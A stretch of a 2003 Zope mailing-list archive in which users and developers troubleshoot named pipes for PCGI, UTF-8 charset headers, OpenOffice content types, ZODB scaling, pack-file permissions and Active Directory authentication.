Michael (M.M.) wrote: > > Why do I want to do it this way? Well, if I open a port on > localhost then any user of the server can access that port. > With the named pipe, I can control the permissions on the port. > > You have people other than sys admin logging into and using > the machine that's > the live webserver for your corporate intranet? > > And your corporate security guidlines don't say anything about that? > > That's pretty suprising... I think you are taking liberties with what I said. First, the server is not *THE* live webserver for Ford's corporate intranet, it is one among *many* and a rather minor one at that. If it were one of the main ones, there is no way they would let me run Zope one it (not an accepted "corporate standard"). In fact, the systems people here have been quite accommodating by even allowing me to run Zope. To answer your question, access to the machine *is* heavily restricted (I never indicated otherwise). That isn't the point. The point is that a (properly configured) named pipe *is* more secure than a port (even a localhost port) because the permissions can be controlled at the system level. So it seems reasonable (to me) for somebody to want to use a named pipe. In any case, I'm not looking to get into an argument about how well-reasoned our corporate security policies. I'm just trying to understand what the purported "more appropriate" alternatives are for PCGI. > Chris -- Mike From gilles at pilotsystems.net Fri Aug 29 17:38:06 2003 From: gilles at pilotsystems.net (Gilles Lenfant) Date: Fri Aug 29 10:24:29 2003 Subject: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? References: <161001c36cb4$8579f020$0301a8c0@provence> <3F4DD494.5060203@nipltd.com> <1a8201c36d54$c244e000$0301a8c0@provence> <3F4F5C3F.2010206@nipltd.com> Message-ID: <078801c36e3b$29064b30$0301a8c0@provence> ----- Original Message ----- From: "Chris Withers" To: "Gilles Lenfant" Cc: Sent: Friday, August 29, 2003 3:59 PM Subject: Re: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? > Gilles Lenfant wrote: > >>>>import sys > >>>>sys.getdefaultencoding() > > > > iso-8859-1 > > Shouldn't that be ASCII? No, I changed it cause there are lots of "UnicodeError: char not in range(128)" if I stay ASCII with some products. That's OK now. But this has - apparently - no connection with the problem I stated. > > > And my system locales are set to that charset too. > > If it's a feature, is there some place where we can stand what charset > > should be used for publishing objects behind such or such folder. > > After further tests, I noticed this on DTML as well as ZPT templates. > > Like i said, you'd have to ask someone who knows. Submitting a collector issue > is about the best I can offer, sorry :-S You're right, gonna do this. Cheers --Gilles From madduck at madduck.net Fri Aug 29 17:26:11 2003 From: madduck at madduck.net (martin f krafft) Date: Fri Aug 29 10:26:22 2003 Subject: [Zope] Re: problems with news item properties In-Reply-To: <3F4F5B57.7090808@nipltd.com> References: <20030826183405.GA8782@diamond.madduck.net> <3F4DCCBF.6070103@nipltd.com> <20030828094620.GA20459@diamond.madduck.net> <3F4F5B57.7090808@nipltd.com> Message-ID: <20030829142611.GC18672@diamond.madduck.net> also sprach Chris Withers [2003.08.29.1555 +0200]: > If you change your code to the following, what gets output: i have found the solution. i simply do a define="item obj/getOject" and then use item instead of obj. this works >
>
>

do you still want me to do this? the meta_type is probably going to be mybrain, no? -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! "in just seven days, i can make you a man!" -- the rocky horror picture show -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030829/04a8581c/attachment.bin From M.R.Davis at rmcs.cranfield.ac.uk Fri Aug 29 16:35:12 2003 From: M.R.Davis at rmcs.cranfield.ac.uk (Davis Mr MR) Date: Fri Aug 29 10:40:42 2003 Subject: [Zope] Sort problem Message-ID: <55360F67A4EAD611B38F00B0D0D1AC6B1EA3ED@uxstaff.staff.rmcs.cranfield.ac.uk> Hi, I'm trying to create a list of titles, sorted alphabetically, but want to sort ignoring initial stop words. I've set up an index for title_or_id, which works fine, but "The Resource" ends up listed under T. I've tried using a Lexicon, but these seem to only be able to be used for Text Fields, which can't be used in a sort. Is there another way to do this? Cheers Michael Davis From gilles at pilotsystems.net Fri Aug 29 17:54:48 2003 From: gilles at pilotsystems.net (Gilles Lenfant) Date: Fri Aug 29 10:41:35 2003 Subject: [Zope] File types and OpenOffice documents (text) Message-ID: <07f701c36e3d$7e438340$0301a8c0@provence> Hi, When uploading an OpenOffice text document ("foo.sxw") to a File object ("foo.sxw"), it's content type prop is set to "application/x-zip-compressed" !!! When downloading it with IE or Mozilla (Windows) it renames the file "foo.sxw.zip". The user has to rename it :-(. Is there a way to set the correct content type automatically at upload time (dunno which) and prevent renaming the file ? * Upload through Python scripts that detects those strnga behaviours and set the content type according to the file extension ? * Add a plugin to the File class to check the right type and set content type accordingly ? * Other ? I didn't test but this happens perhaps to other OpenOffice files too (spreadsheets, presentations...) Thanks in advance. --Gilles From maik.jablonski at uni-bielefeld.de Fri Aug 29 17:41:14 2003 From: maik.jablonski at uni-bielefeld.de (Maik Jablonski) Date: Fri Aug 29 10:42:48 2003 Subject: [Zope] Re: Charset HTTP header switched to UTF-8. Bug or feature ? In-Reply-To: <161001c36cb4$8579f020$0301a8c0@provence> References: <161001c36cb4$8579f020$0301a8c0@provence> Message-ID: Gilles Lenfant wrote: > There's a strange thing in a iso-8859-1 (natural) charset site Zope 2.6.1 > powered... > > A form is summitted (POST) to a TTW python script. > At the end of the script, after form validation ... > > > return context.sometemplate(param1=value1, ...) > > > The "sometemplate" is published with this HTTP header : > > Content-Type: text/html;charset=UTF-8 > > When nowhere in my scripts/templates, I stated to use that charset. > You can imagine the ugly things that are displayed :-/ Does your script call a manage_*-method (manage_changePropeties for example, which alway sets the management-charset to UTF-8 since Zope 2.6.1) or does it catalog an item? Cheers, Maik From gilles at pilotsystems.net Fri Aug 29 18:10:32 2003 From: gilles at pilotsystems.net (Gilles Lenfant) Date: Fri Aug 29 10:56:50 2003 Subject: [Zope] Re: Charset HTTP header switched to UTF-8. Bug or feature ? References: <161001c36cb4$8579f020$0301a8c0@provence> Message-ID: <081101c36e3f$b112a510$0301a8c0@provence> ----- Original Message ----- From: "Maik Jablonski" To: Sent: Friday, August 29, 2003 4:41 PM Subject: [Zope] Re: Charset HTTP header switched to UTF-8. Bug or feature ? > Gilles Lenfant wrote: > > There's a strange thing in a iso-8859-1 (natural) charset site Zope 2.6.1 > > powered... > > > > A form is summitted (POST) to a TTW python script. > > At the end of the script, after form validation ... > > > > > > return context.sometemplate(param1=value1, ...) > > > > > > The "sometemplate" is published with this HTTP header : > > > > Content-Type: text/html;charset=UTF-8 > > > > When nowhere in my scripts/templates, I stated to use that charset. > > You can imagine the ugly things that are displayed :-/ > > Does your script call a manage_*-method (manage_changePropeties for > example, which alway sets the management-charset to UTF-8 since Zope > 2.6.1) or does it catalog an item? Hi Maik, You're right... When the page is POSTed from a form, the script makes some manage_changeProperties(...). I got to explicitely reset that charset to iso-8859-1 in the RESPONSE to get rid of this ugly display on non ASCII characters like ?, ?, ? (...). This is a strange choice. Zope "natural" charset is supposed to be iso-8859-1 and should always use that charset without further programmer notice. Cheers --Gilles From ken at kencausey.com Fri Aug 29 11:27:15 2003 From: ken at kencausey.com (Ken Causey) Date: Fri Aug 29 11:28:12 2003 Subject: [Zope] Scripts run as least privileged user necessary? Message-ID: <1062170835.5536.12.camel@ken.mojodata.com> I'm running into a strange problem. I have a situation in which I want a script to treat Managers differently than other users. But I'm finding that whether or not I'm logged in as a manager or not the script only considers the user to be 'Anonymous User' as long as 'Anonymous' has View privilege for the script. If I change the Security permissions so that only 'Authenticated' can View the script then the user is properly identified. Is this expected behaviour? This is what I'm seeing on 2.6.1. As a test create a script with return _.SecurityGetUser() be sure to bind '_' to Namespace. Set that script so that the View privilege is allowed for 'Anonymous'. Stay logged in and run the script. Then change it so only 'Authenticated' as the View privilege, run it again. The behavior changes based on the permissions. Ken Causey -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.zope.org/pipermail/zope/attachments/20030829/cf814e82/attachment.bin From jccooper at jcameroncooper.com Thu Aug 28 20:47:48 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 29 11:37:20 2003 Subject: [Zope] ZPT help In-Reply-To: <20030828155141.GE4592@slinkp.com> References: <20030828141453.GE17779@spuckler.il.thewrittenword.com> <20030828155141.GE4592@slinkp.com> Message-ID: <3F4EA2B4.1080401@jcameroncooper.com> > >
> >
> >
> The actual page content will be rendered here >
> >
> This will be replaced with the right nav macro which you > can override per folder. >
> > >... > >Now create the right nav for the products/ folder. >To do this, just create a ZPT called products/right_nav. >It should look something like: > > > > >
> Product 1 > ... >
> > > > If you wanted dynamic links instead of static, you could use something like this in place of the macro in the template:: link title The 'links' above is a python script that supplies the objects that are valid links. It could be as simple as 'return context.objectValues()' to return all the contents of the folder you are calling the method in. If that folder might have other contents (like 'content'), it might be easiest to make a further subfolder (say 'publish') and use 'return context.publish.objectValues()'. Of course, you could always filter on meta_type like 'return context.objectValues('File')' or any other scheme. --jcc From chrism at zope.com Thu Aug 28 13:28:57 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 29 11:44:07 2003 Subject: [Zope] Zope Manual in Spanish References: Message-ID: <000501c36e44$2f8b84d0$a017a8c0@james> Nice! If this happens, please let me know and I'll add it to zope.org. ----- Original Message ----- From: "george donnelly" To: ; Sent: Thursday, August 28, 2003 12:20 PM Subject: Re: [Zope] Zope Manual in Spanish [rpenatez@lattice.com.co wrote (rpenatez@lattice.com.co) on 8/28/03 7:33 AM] > Hola Zopers! > I want to know if out there I can find a Zope Manual in Spanish... > specially I need the Zope Book in Spanish > Necesito un manual de Zope en Espa?ol... en especial el Libro de Zope > RicardoP Not that i am aware of, but if you are interested we can work together to translate this. <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From tloomis at dmso.mil Fri Aug 29 12:56:49 2003 From: tloomis at dmso.mil (Todd Loomis, (SAIC)) Date: Fri Aug 29 11:57:54 2003 Subject: [Zope] Data packing error Message-ID: <002f01c36e46$28188ed0$e1350a0a@dmsolan> All: When i try to pack my database i get the following error: Zope Ver. 2.4.4 on Redhat 7.2 ============================================ Todd -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030829/d9843472/attachment.htm From chrism at zope.com Fri Aug 29 13:01:53 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 29 12:02:26 2003 Subject: [Zope] Data packing error References: <002f01c36e46$28188ed0$e1350a0a@dmsolan> Message-ID: <003e01c36e46$dd55ce20$a017a8c0@james> See my prior response to your earlier problem about starting Zope first as the root user and later starting it as a nonprivileged user. ----- Original Message ----- From: "Todd Loomis, (SAIC)" To: Sent: Friday, August 29, 2003 11:56 AM Subject: [Zope] Data packing error All: When i try to pack my database i get the following error: Zope Ver. 2.4.4 on Redhat 7.2 ============================================ Todd ---------------------------------------------------------------------- ---------- > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From andreas at andreas-jung.com Fri Aug 29 19:09:52 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Fri Aug 29 12:10:06 2003 Subject: [Zope] Data packing error In-Reply-To: <002f01c36e46$28188ed0$e1350a0a@dmsolan> References: <002f01c36e46$28188ed0$e1350a0a@dmsolan> Message-ID: <2147483647.1062180591@[192.168.0.100]> Check the file permissions of the var folder and the corresponding files inside. They must be writable by the Zope user. -aj --On Freitag, 29. August 2003 11:56 Uhr -0400 "Todd Loomis, (SAIC)" wrote: > All: > > When i try to pack my database i get the following error: > Zope Ver. 2.4.4 on Redhat 7.2 > > > > > > ============================================ > > Todd > From jens at zope.com Fri Aug 29 13:08:20 2003 From: jens at zope.com (Jens Vagelpohl) Date: Fri Aug 29 12:15:23 2003 Subject: [Zope] Data packing error In-Reply-To: <002f01c36e46$28188ed0$e1350a0a@dmsolan> Message-ID: <01E28534-DA3B-11D7-ACCF-000393D58818@zope.com> The process running Zope has no permission to create the file /var/www/zope/var/Data.fs.pack - see last line of the traceback. jens On Friday, Aug 29, 2003, at 11:56 US/Eastern, Todd Loomis, ((SAIC)) wrote: > All: > ? > When i try to pack my database i get the following error: > Zope Ver. 2.4.4 on Redhat 7.2 > ? > > ? > ? ======================================================================== ================ > > Todd > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From snatzie at comcast.net Fri Aug 29 10:33:47 2003 From: snatzie at comcast.net (Robert B) Date: Fri Aug 29 12:35:23 2003 Subject: [Zope] Newbie Questions on ZODB Scale Message-ID: <3F4F806B.3020009@comcast.net> I have recently discovered Zope and like what I see. I have some basic questions on how the object database scales. I come from a conventional RDBMS background... DB2 and Oracle. I would like to use the database for a content management solution, but I am worried about how the database will scale and perform. Where can I find documentation on how to administer the object database? Many of the links on http://www.zope.org on the ZODB are broken. My concern is that, based on my cursory look, it seems that the object database is stored in essentially one file on the file system. What happens when you outgrow that filesystem, or when you want to span disks in order to spread the load? Or, if I am expecting a large amount of files stored in the database, should I set up the server to store the files external to the object database? Any and all help would be appreciated, Robert From pw_lists at slinkp.com Fri Aug 29 14:15:57 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Fri Aug 29 13:19:22 2003 Subject: [Zope] Newbie Questions on ZODB Scale In-Reply-To: <3F4F806B.3020009@comcast.net> References: <3F4F806B.3020009@comcast.net> Message-ID: <20030829171557.GA1623@slinkp.com> On Fri, Aug 29, 2003 at 09:33:47AM -0700, Robert B wrote: > I have recently discovered Zope and like what I see. I have some basic > questions on how the object database scales. I come from a conventional > RDBMS background... DB2 and Oracle. > > I would like to use the database for a content management solution, but > I am worried about how the database will scale and perform. > > Where can I find documentation on how to administer the object database? > Many of the links on http://www.zope.org on the ZODB are broken. > > My concern is that, based on my cursory look, it seems that the object > database is stored in essentially one file on the file system. By default, yes, you get one FileStorage. > What > happens when you outgrow that filesystem, or when you want to span disks > in order to spread the load? You look into the alternative storages: http://cvs.zope.org/*checkout*/ZODB3/Doc/storages.html?rev=1.8 note that this document was written by the DirectoryStorage author and is still missing some info about BerkelyStorage and much info on APE. Another option is DBTab which allows breaking up the zodb into multiple "mounts". It may even be possible to use different kinds of storage for each mount point. > Or, if I am expecting a large amount of files stored in the database, > should I set up the server to store the files external to the object > database? that's also possible... external content can be served through zope via ExtFile, LocalFS, and FilesystemDirectoryView, which offer different features / drawbacks. There are also various ways to use a proxy server to reduce the need for zope to server large files. FSCacheManager is one interesting candidate: http://www.zopezen.org/Members/zopista/News_Item.2003-08-15.5935 -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's PSUEDO FOOLICIOUS ROUST-TROUSERS! (random hero from isometric.spaceninja.com) From chrism at zope.com Fri Aug 29 15:24:27 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 29 14:25:19 2003 Subject: [Zope] Newbie Questions on ZODB Scale References: <3F4F806B.3020009@comcast.net> <20030829171557.GA1623@slinkp.com> Message-ID: <006501c36e5a$c7f6d420$a017a8c0@james> > Another option is DBTab which allows breaking up the zodb into > multiple "mounts". It may even be possible to use different kinds of > storage for each mount point. FWIW, Zope past 2.7.0b1 have DBTab merged into the core. Changes to DBTab allow you to mount more databases using the main config file, which simplifies using multiple databases considerably. - C From mail2vinoth at yahoo.com Fri Aug 29 13:01:14 2003 From: mail2vinoth at yahoo.com (Vinoth) Date: Fri Aug 29 15:01:21 2003 Subject: [Zope] newbie question: to edit/delete in zodb Message-ID: <20030829190114.137.qmail@web12202.mail.yahoo.com> Hi I am a newbie to zope. I need a sample code to perform, editing/deleting properties of zodb object I use the following code to add a file to a folder as well as properties of that. ////////////// entries_folder.manage_addProduct['OFSP'].manage_addFile(id, title="", content_type="text/plain", file=comments) # add a required properties entry=getattr(entries_folder, id) entry.manage_addProperty('name', name, 'string') //////////////// Thanks in advance, -visu --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030829/1fc0c91e/attachment.htm From jamie at audible.transient.net Fri Aug 29 14:19:09 2003 From: jamie at audible.transient.net (Jamie Heilman) Date: Fri Aug 29 16:38:54 2003 Subject: [Zope] Scripts run as least privileged user necessary? In-Reply-To: <1062170835.5536.12.camel@ken.mojodata.com> References: <1062170835.5536.12.camel@ken.mojodata.com> Message-ID: <20030829201909.GD2059@audible.transient.net> Ken Causey wrote: > I'm running into a strange problem. I have a situation in which I want > a script to treat Managers differently than other users. But I'm > finding that whether or not I'm logged in as a manager or not the script > only considers the user to be 'Anonymous User' as long as 'Anonymous' > has View privilege for the script. This is a FAQ and is related to how HTTP works. Requests are (generally) first sent without authorization credentials, if the response is 401 then the user agent will resend the request with creds (after obtaining them from the user if necessary). -- Jamie From mitchy at spacemonkeylabs.com Fri Aug 29 17:48:19 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Fri Aug 29 16:48:56 2003 Subject: [Zope] Authentication questions Message-ID: <1062190099.3899.19.camel@sprocket> Hi listers, I'm currently discussing requirements for yet another Zope/Plone portal for the company that I'm working for; and the issues with this particular site include mixing accounts from both internal employees and external consultants. Not all employees will have access to this site. The internal staff are currently authenticated via Windows (and Active Directory accounts) which is a critical requirement. The external folks will only be accessing this one site, so their accounts are very site-specific. What is the most logical way to have both specific AD accounts (not the whole directory) and Zope user accounts authenticate for one site? -- Mitch From jens at zope.com Fri Aug 29 18:30:24 2003 From: jens at zope.com (Jens Vagelpohl) Date: Fri Aug 29 17:30:13 2003 Subject: [Zope] Authentication questions In-Reply-To: <1062190099.3899.19.camel@sprocket> Message-ID: <000310A5-DA68-11D7-ACCF-000393D58818@zope.com> > The internal staff are currently authenticated via Windows (and Active > Directory accounts) which is a critical requirement. The external > folks > will only be accessing this one site, so their accounts are very > site-specific. > > What is the most logical way to have both specific AD accounts (not the > whole directory) and Zope user accounts authenticate for one site? > Use the LDAPUserFolder** and either create group-type records in AD that hold the AD people allowed to log in and map it to a role in Zope, or store role information for the AD users on the user folder itself (-> see configuration help) and manually assign the right roles to these privileged directory users. Make sure you read README.ActiveDirectory.txt for all the pitfalls associated with their poor LDAP implementation. jens ** http://www.dataflake.org/software/ldapuserfolder/ From jccooper at jcameroncooper.com Fri Aug 29 18:56:21 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 29 18:56:32 2003 Subject: [Zope] File types and OpenOffice documents (text) In-Reply-To: <07f701c36e3d$7e438340$0301a8c0@provence> References: <07f701c36e3d$7e438340$0301a8c0@provence> Message-ID: <3F4FDA15.7030207@jcameroncooper.com> >When uploading an OpenOffice text document ("foo.sxw") to a File object >("foo.sxw"), it's content type prop is set to "application/x-zip-compressed" >!!! > >When downloading it with IE or Mozilla (Windows) it renames the file >"foo.sxw.zip". The user has to rename it :-(. > >Is there a way to set the correct content type automatically at upload time >(dunno which) and prevent renaming the file ? > >* Upload through Python scripts that detects those strnga behaviours and set >the content type according to the file extension ? > >* Add a plugin to the File class to check the right type and set content >type accordingly ? > >* Other ? > > In the File class, in zope/lib/python/OFS/Image.py, the content-type is set by the supplied 'content-type' header or by content_types.guess_content_type, which uses the Python mimetypes library (plus a bit of extra logic for circumstances the library doesn't deal with). My guess is that you are not providing a type and that the mimetypes library's guess_type function is looking at the contents of your OO file to guess the type. Since they are, I think, zipped XML files, it's not a bad guess. Your first fix would work, though it's a bit messy. Better would be to fix it in either the Zope core or the Python library. Zope is easy enough: you can add your file extension to the '_addtypes' tuple in zope/lib/python/OFS/content_types.py directly, or if you want to be less invasive you can do a monkeypatch/hotfix. Then submit the change to the collector for inclusion in future versions, at which point you can discard your site-specific fix. The fix to Python will require going to the maintainer, perhaps with a patch. I can't say what the policy on changes to that library is. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From borelan at wanadoo.fr Fri Aug 29 23:15:03 2003 From: borelan at wanadoo.fr (andre) Date: Fri Aug 29 22:22:47 2003 Subject: [Zope] Confusion about thread safety Message-ID: <3F5008A7.9060905@wanadoo.fr> Hi, after reading several things about thread safety, i'm a little bit confused by the fact that the words threads and connection are used in too various contexts. So i'll ask a simple question. With a basic Zope server, without any other DB, what happens when two different users want to commit changes made to the same object at the same time ? are the two requests, two different threads ? ZODB speaking. From edwardam at interlix.com Sat Aug 30 02:47:18 2003 From: edwardam at interlix.com (Edward Muller) Date: Sat Aug 30 02:47:56 2003 Subject: [Zope] 2.7.0b2 install error Message-ID: <1062226038.11011.117.camel@palin.> running the following... /opt/python/2.2.3/bin/python setup.py install --prefix=/opt/zope/2.7.0 warning: ZopeInstall: modules installed to '/opt/zope/2.7.0/lib/python/', which is not in Python's module search path (sys.path) -- you'll have to change the search path yourself running install running build running build_scripts Traceback (most recent call last): File "setup.py", line 1128, in ? distclass=ZopeDistribution, File "/opt/python/2.2.3/lib/python2.2/distutils/core.py", line 138, in setup dist.run_commands() File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 902, in run_commands self.run_command(cmd) File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in run_command cmd_obj.run() File "setup.py", line 142, in run install.run(self) File "/opt/python/2.2.3/lib/python2.2/distutils/command/install.py", line 491, in run self.run_command('build') File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 330, in run_command self.distribution.run_command(command) File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in run_command cmd_obj.run() File "/opt/python/2.2.3/lib/python2.2/distutils/command/build.py", line 107, in run self.run_command(cmd_name) File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 330, in run_command self.distribution.run_command(command) File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in run_command cmd_obj.run() File "/opt/python/2.2.3/lib/python2.2/distutils/command/build_scripts.py", line 46, in run self.copy_scripts() File "/opt/python/2.2.3/lib/python2.2/distutils/command/build_scripts.py", line 55, in copy_scripts self.mkpath(self.build_dir) File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 360, in mkpath self.verbose, self.dry_run) File "/opt/python/2.2.3/lib/python2.2/distutils/dir_util.py", line 35, in mkpath raise DistutilsInternalError, \ distutils.errors.DistutilsInternalError: mkpath: 'name' must be a string (got None) Anyone have any ideas? -- Edward Muller Interlix (http://www.interlix.com) Phone: 417-862-0573 - Cell: 417-844-2435 - Fax: 417-862-0572 Web Hosting - PC Service & Support - Custom Programming - Network Service & Support Specializing in Open Source Solutions -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.zope.org/pipermail/zope/attachments/20030830/d554360f/attachment.bin From andreas at andreas-jung.com Sat Aug 30 10:10:32 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sat Aug 30 03:10:42 2003 Subject: [Zope] 2.7.0b2 install error In-Reply-To: <1062226038.11011.117.camel@palin.> References: <1062226038.11011.117.camel@palin.> Message-ID: <2147483647.1062234632@[192.168.0.100]> The recommended way to install Zope is to run "configure" which works fine. -aj --On Samstag, 30. August 2003 1:47 Uhr -0500 Edward Muller wrote: > running the following... > > /opt/python/2.2.3/bin/python setup.py install --prefix=/opt/zope/2.7.0 > > warning: ZopeInstall: modules installed to > '/opt/zope/2.7.0/lib/python/', which is not in Python's module search > path (sys.path) -- you'll have to change the search path yourself > running install > running build > running build_scripts > Traceback (most recent call last): > File "setup.py", line 1128, in ? > distclass=ZopeDistribution, > File "/opt/python/2.2.3/lib/python2.2/distutils/core.py", line 138, in > setup > dist.run_commands() > File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 902, in > run_commands > self.run_command(cmd) > File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in > run_command > cmd_obj.run() > File "setup.py", line 142, in run > install.run(self) > File "/opt/python/2.2.3/lib/python2.2/distutils/command/install.py", > line 491, in run > self.run_command('build') > File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 330, in > run_command > self.distribution.run_command(command) > File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in > run_command > cmd_obj.run() > File "/opt/python/2.2.3/lib/python2.2/distutils/command/build.py", > line 107, in run > self.run_command(cmd_name) > File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 330, in > run_command > self.distribution.run_command(command) > File "/opt/python/2.2.3/lib/python2.2/distutils/dist.py", line 922, in > run_command > cmd_obj.run() > File > "/opt/python/2.2.3/lib/python2.2/distutils/command/build_scripts.py", > line 46, in run > self.copy_scripts() > File > "/opt/python/2.2.3/lib/python2.2/distutils/command/build_scripts.py", > line 55, in copy_scripts > self.mkpath(self.build_dir) > File "/opt/python/2.2.3/lib/python2.2/distutils/cmd.py", line 360, in > mkpath > self.verbose, self.dry_run) > File "/opt/python/2.2.3/lib/python2.2/distutils/dir_util.py", line 35, > in mkpath > raise DistutilsInternalError, \ > distutils.errors.DistutilsInternalError: mkpath: 'name' must be a string > (got None) > > Anyone have any ideas? > > -- > Edward Muller > > Interlix (http://www.interlix.com) > Phone: 417-862-0573 - Cell: 417-844-2435 - Fax: 417-862-0572 > > Web Hosting - PC Service & Support - Custom Programming - Network Service > & Support Specializing in Open Source Solutions From borge.kjeldstad at whiteflower.no Sat Aug 30 16:19:40 2003 From: borge.kjeldstad at whiteflower.no (=?iso-8859-1?Q?B=F8rge_Kjeldstad?=) Date: Sat Aug 30 09:20:20 2003 Subject: [Zope] VS: A disappeared cookie.. Message-ID: <000001c36ef9$5e6204e0$0a00000a@borge> Hello :) ..I try to send this message again, as I received no answer. Maybe it disappeared in the mess with the large virus attack some days ago. To personalize a website I use cookies. That is; when a person chooses a link, a cookie is set like this: Now, this cookie is used to either include or not include a table of contents on all of the following pages that I (or actually guest C) visits: The looks like this: Show all
Hide all
(?topics? is here the folder containing all the pages that guest C may visit) This works fine untill guest C presses some of the links generated by the . If he or she for instance presses the ?Page 1? link, he comes to page 1, but page 1 does not include the even though page 1 still has the same statement: It looks to me as if the cookie has disappeared. Or have I misunderstood the hole concept of the REQUEST object? What could be wrong? Thank you very much :) B?rge Kjeldstad -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030830/6b1635a1/attachment-0001.htm From lazernewman at yahoo.com Sat Aug 30 16:47:24 2003 From: lazernewman at yahoo.com (Joshua Newman) Date: Sat Aug 30 11:47:59 2003 Subject: [Zope] wiki-how to add comments to top of page Message-ID: Hi, On our wiki we have users entering comments with the comment box at the bottom of the page.. The wiki adds comments on the bottom after the last post. So the users have to scroll down to see the newest post. But with a long list this is annoying. Is there a way like squishdot, to locate the new posts to the top of the page? I haven't found the way to do it. Thanks. J From rpenatez at lattice.com.co Sat Aug 30 11:22:50 2003 From: rpenatez at lattice.com.co (rpenatez@lattice.com.co) Date: Sat Aug 30 12:20:23 2003 Subject: [Zope] Variables and SubFolders Message-ID: <05256D92.00543294.00@bquilla.lattice.com.co> Hello Zopistas! I'm trying to pass a variable value from the root folder to a subfolder but I can't. How can I do that??? Thanks for your help. RicardoP From andreas at andreas-jung.com Sat Aug 30 19:24:45 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sat Aug 30 12:24:53 2003 Subject: [Zope] Variables and SubFolders In-Reply-To: <05256D92.00543294.00@bquilla.lattice.com.co> References: <05256D92.00543294.00@bquilla.lattice.com.co> Message-ID: <2147483647.1062267884@[192.168.0.100]> Could you please ask a *detailed* question? That means you should provide informations about what are you trying to do in terms of code and error messages. -aj --On Samstag, 30. August 2003 10:22 Uhr -0500 rpenatez@lattice.com.co wrote: > Hello Zopistas! > I'm trying to pass a variable value from the root folder to a subfolder > but I can't. How can I do that??? > Thanks for your help. > RicardoP > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From rpenatez at lattice.com.co Sat Aug 30 11:39:03 2003 From: rpenatez at lattice.com.co (rpenatez@lattice.com.co) Date: Sat Aug 30 12:36:41 2003 Subject: [Zope] Variables and SubFolders Message-ID: <05256D92.005557B0.00@bquilla.lattice.com.co> Okey, I'll try to explain you. I have a combo box called "CboLocation" in my index_html page in the root folder of my proyect with some general information. I have a subfolder called "Add Data" where I have a page who add an entry to a database with some information. One of the fields that I need to add is the "Location" that I select in the first page, but when I try to load the "Add Data" page I got this error: Zope Error Zope has encountered an error while publishing this resource. Error Type: KeyError Error Value: CboLocation --------------------------------------------------------------------------- ----- Troubleshooting Suggestions This resource may be trying to reference a nonexistent object or variable CboLocation. The URL may be incorrect. The parameters passed to this resource may be incorrect. A resource that this resource relies on may be encountering an error. For more detailed information about the error, please refer to the HTML source for this page. If the error persists please contact the site maintainer. Thank you for your patience. Is this information enough or you need something else?? RicardoP Andreas Jung on 30/08/2003 01:24:45 p.m. Please respond to Andreas Jung To: Ricardo Penatez/Sistemas/Gerencia/Lattice, zope@zope.org cc: Subject: Re: [Zope] Variables and SubFolders Could you please ask a *detailed* question? That means you should provide informations about what are you trying to do in terms of code and error messages. -aj --On Samstag, 30. August 2003 10:22 Uhr -0500 rpenatez@lattice.com.co wrote: > 